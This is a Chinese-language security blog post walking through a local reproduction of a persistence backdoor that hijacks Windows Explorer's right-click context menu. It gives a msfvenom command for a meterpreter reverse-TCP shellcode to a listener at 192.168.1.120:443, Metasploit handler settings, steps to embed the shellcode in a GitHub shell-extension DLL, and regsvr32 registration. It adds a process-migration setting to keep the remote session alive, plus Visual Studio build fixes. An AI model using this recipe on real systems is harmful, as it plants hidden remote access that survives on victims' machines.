劫持資源管理器實現持久性后門
VSole2023-03-27 09:48:18
0x01 前言
最近看到一篇有關《劫持Explorer.exe實現持久性》的文章,只要用戶右鍵單擊文件資源管理器中的文件或文件夾就會觸發,簡單記錄下本地復現過程!
0x02 復現過程
CobaltStrike或Metasploit生成一個C格式shellcode,將shellcode中的"都替換為空,再用\r\n將其放在一行,配置好相關參數執行監聽。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 EXITFUNC=thread -f c set payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.1.120set lport 443exploit

VS打開該項目,在FileContextMenuExt.cpp第13行處插入我們處理好的shellcode,直接編譯得到一個ContextMenuHijack.dll。
項目地址:
https://github.com/RistBS/ContextMenuHijack

接著我們通過執行以下命令用regsvr32注冊下這個dll文件,如果想卸載掉只需加個/u參數即可。
注冊:
regsvr32 ContextMenuHijack.dll
卸載:
regsvr32 /u ContextMenuHijack.dll

這時只要我們右鍵文件或文件夾就會觸發上線,但這種方式極易造成Explorer.exe資源管理器奔潰,導致會話掉線,建議加個自動遷移進程參數。
set AutoRunScript migrate -f


0x03 編譯問題
我的VS版本2017,但這個項目是2022編譯的,所以編譯時可能由于VS版本問題而出現下圖報錯:
錯誤 MSB8020 無法找到 v143 的生成工具(平臺工具集 =“v143”)。若要使用 v143 生成工具進行生成,請安裝 v143 生成工具。或者,可以升級到當前 Visual Studio 工具,方式是通過選擇“項目”菜單或右鍵單擊該解決方案,然后選擇“重定解決方案目標”

解決方法:
選中項目 -> 右鍵屬性 -> 將平臺工具集選為VS2017(V141);選中工程 -> 重定解決方案目標 -> 選擇當前Windows SDK版本;打開項目根目錄下.vcxproj后綴文件,將v143全替換為v141,保存;切換回Visual Studio,檢測到文件修改,我們選擇“全部重新加載”;再次選中工程 -> 重新生成解決方案 -> 已經編譯成功,完美解決該問題。

參考鏈接:
https://pentestlab.blog/2023/03/13/persistence-context-menu/https://ristbs.github.io/2023/02/15/hijack-explorer-context-menu-for-persistence-and-fun.html
本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
VSole
網絡安全專家